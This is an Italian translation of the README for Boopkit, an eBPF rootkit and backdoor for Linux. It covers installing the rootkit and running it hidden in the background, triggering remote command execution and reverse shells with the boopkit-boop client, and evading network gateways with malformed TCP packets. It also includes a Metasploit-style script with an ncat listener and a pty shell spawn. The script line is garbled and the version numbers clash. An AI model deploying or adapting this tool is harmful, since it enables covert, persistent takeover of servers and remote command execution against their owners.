
Linux eBPF backdoor over TCP. Genera reverse shell, RCE, su accesso privilegiato precedente. Less Honkin, More Tonkin.
================================================================
██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗
██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝
██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║
██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║
██████╔╝╚██████╔╝╚██████╔╝██║ ██║ ██╗██║ ██║
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
Autore: Kris Nóva <[email protected]> Versione 1.4.0
IN NESSUN CASO IL TITOLARE DEL COPYRIGHT O I CONTRIBUTOR SARANNO
RESPONSABILI PER DANNI DIRETTI, INDIRETTI, INCIDENTALI, SPECIALI,
ESEMPLARI O CONSEQUENZIALI.
NON TENTARE DI UTILIZZARE GLI STRUMENTI PER VIOLARE LA LEGGE.
L'AUTORE NON È RESPONSABILE PER ALCUNA AZIONE ILLEGALE.
L'USO IMPROPRIO DEL SOFTWARE, DELLE INFORMAZIONI O DEL CODICE SORGENTE
PUÒ COMPORTARE ACCUSE PENALI.
Usalo a tuo rischio.
================================================================
Boopkit. Rootkit e backdoor per Linux. Costruito usando eBPF.
Uso: boopkit [opzioni]
Opzioni: -h, help Mostra l'aiuto e l'uso di boopkit. -i, interface Nome dell'interfaccia. lo, eth0, wlan0, ecc. -s, sudo-bypass Bypassa il controllo sudo. Rompe l'offuscamento del PID. -r, reverse-conn Tenta un reverse RCE lookup se non viene trovato alcun payload. -q, quiet Disabilita l'output. -x, reject Indirizzi sorgente da rifiutare per i trigger.
Strumenti per backdoor Linux, rootkit e bypass eBPF.
Esecuzione remota di comandi su TCP grezzo.
- Testato su kernel Linux 5.16
- Testato su kernel Linux 5.17
- Esecuzione remota di codice su TCP (SSH, Nginx, Kubernetes, ecc.)
- Bypass gateway di rete (checksum errati, reset TCP)
- Auto-offuscamento in esecuzione (nascita di processi eBPF)
##### Disclaimer
> Questo **NON** è un exploit! Richiede accesso privilegiato precedente su un server per funzionare!
> Sono un ricercatore di sicurezza professionale. Questi sono strumenti white hat usati solo per scopi di ricerca.
> Usalo responsabilmente. Non usare mai questo software illegalmente.

## Lato Server
Scarica e compila boopkit.
```bash
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.3.0.tar.gz
tar -xzf v1.3.0.tar.gz
cd boopkit-1.3.0/
make
sudo make install
Esegui boopkit in primo piano.
# Reject all boops on localhost and 10.0.0.1
boopkit -x 127.0.0.1 -x 10.0.0.1
Esegui boopkit in background in modalità silenziosa.
# Danger! This can be VERY hard to stop! Run this at your own risk!
boopkit -q &
Boopkit è ora in esecuzione e può essere sfruttato usando lo strumento da riga di comando client boopkit-boop.
Scarica e compila boopkit.
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.2.0.tar.gz
tar -xzf v1.2.0.tar.gz
cd boopkit-1.2.0/
make
sudo make install
Esegui boopkit-boop contro il server.
# ===================
RCE="ls -la"
# ===================
LHOST="127.0.0.1"
LPORT="3535"
RHOST="127.0.0.1"
RPORT="22"
boopkit-boop \
-lhost $LHOST \
-lport $LPORT \
-rhost $RHOST \
-rport $RPORT \
-c "$RCE"
Boopkit risponderà a vari eventi sulla rete. Entrambi possono essere attivati con lo strumento boopkit-boop.
Formato dell'intestazione TCP. Tratto da RFC 793. Settembre 1981
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
{ data }
{ .... }
{ data }
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Prima, lo strumento boopkit-boop invierà un pacchetto TCP SYN malformato con un checksum vuoto al server tramite un socket SOCK_RAW. Questo attiverà boopkit da remoto indipendentemente dai servizi TCP in esecuzione. Funziona contro qualsiasi server Linux che esegue boopkit, indipendentemente dallo stato dei servizi TCP.
Usa -p con boopkit-boop per usare solo questo primo vettore.
⚠️ Alcuni hardware di rete moderni scarteranno tutti i pacchetti con checksum malformati come quello necessario per sfruttare boopkit usando questo vettore!
Successivamente, lo strumento boopkit-boop completerà un handshake TCP valido con un socket SOCK_STREAM contro un servizio TCP remoto come SSH, Kubernetes, Nginx, ecc. Dopo che l'handshake TCP iniziale è completo, boopkit-boop ripeterà il processo una seconda volta. La seconda handshake invertirà il flag di reset TCP nel pacchetto, attivando un reset TCP sul server.
Ognuna di queste tattiche è sufficiente per attivare indipendentemente boopkit. Varie condizioni hardware di rete e di runtime renderanno una o l'altra tattica più praticabile. Boopkit proverà entrambe e risponderà a entrambe per impostazione predefinita.
Il file boopscript è uno script compatibile con Metasploit che può essere usato per attivare da remoto il backdoor boopkit dopo che boopkit-boop è installato su una macchina Linux remota.
# boopscript
RHOST="127.0.0.1"
RPORT="22"
LHOST="127.0.0.1"
LPORT="3535"
NCAT="/usr/bin/ncat"
NCATLISTENPORT="3545"
libbpflibxdppython -c "import pty; pty.spawn('/bin/bash')"
Crediti agli autori originali per i loro utili esempi di codice! Ho fatto il fork di molto codice per questo progetto!